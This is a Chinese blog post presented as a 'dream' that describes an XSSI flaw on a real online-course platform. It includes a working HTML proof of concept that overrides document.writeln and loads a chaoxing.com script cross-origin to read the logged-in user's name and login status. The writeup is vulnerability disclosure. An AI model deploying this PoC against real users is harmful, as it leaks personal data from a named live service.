【有趣的XSSI漏洞】梦中发现某网课平台信息泄露漏洞

0x00 Disclaimer

         由于coronavirus的影响,学校安排我们上网课,可能是由于学习太累,做梦都梦到了上网课了,而且还梦到了一个漏洞百出的网课平台。最近我梦到发现了一个非常有趣的漏洞,在我在梦中发现的这个平台的大大小小的漏洞中,这个虽然不是最严重的,但是是最有趣的。
         幸好在做梦的时候还顺手截了图,这才能够跟大家分享。本文所述内容纯属意淫,如果您在现实生活中碰到了长得相似的系统那完全是巧合,和本人一丢丢关系都没有

0x01 漏洞发现

         在睡梦中闲来无事抓个包,发现包里面居然有很好玩的内容

什么,一个疑似JS的文件里面包含了我的名字?
赶快翻上去header,发现了这个
这说明了什么?这个头指示浏览器把这个请求回来的东西当作JS代码,由于JS可以允许跨域,攻击者可以在html中精心构造JS来访问这些信息

0x02 漏洞原理成因背景

笔者很懒惰,发现先知社区讲的更好,就直接贴上链接了:https://xz.aliyun.com/t/7204

0x03 漏洞POC编写

这里面所有的信息都是被document.writeln包裹起来了,但是我们可以通过覆盖这个函数实现获取信息而不是傻乎乎地把信息写在页面上。基于这一点,我们可以很容易地写出POC代码
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>!!!</title>
</head>
<body>
    <h1 id="msg" style="color:red"></h1>
    <script>
    name=''
    islogin=1;
    document.writeln=function(text)
    {
        match=text.match(/zt_u_name">(.*?)</)
        if(match !==null)
        {
            name=match[1];
        }
        if(text.search("http://passport2.chaoxing.com/wlogin")!==-1)
            islogin=0;
    }
    </script>
    <script src="https://3wfy-ans.chaoxing.com/passport/allHead.shtml"> </script>
    <script>
        if(islogin)
            msg="X星XX通并不存在什么信息泄露漏洞。是吧,"+name+"同学?";
        else
            msg="你还没有登陆X星XX通,这我还怎么装逼啊?"
        document.getElementById('msg').innerText=msg
    </script>
</body>
</html>
POC实测效果:

源码懒得放在github了,想要的自己复制自己玩

0x04 对漏洞的一些思考

或许可以整个扫描器,搞多个不同的用户,爬取后对比JS区别,自动化发掘这种洞?
又或者像个办法来自动搜集JS里面的敏感信息?

评论

此博客中的热门博文

局域网监控软件WFilter ICF 鸡肋0day RCE漏洞挖掘

别想偷我源码:通用的针对源码泄露利用程序的反制(常见工具集体沦陷)

复现基于eBPF实现的Docker逃逸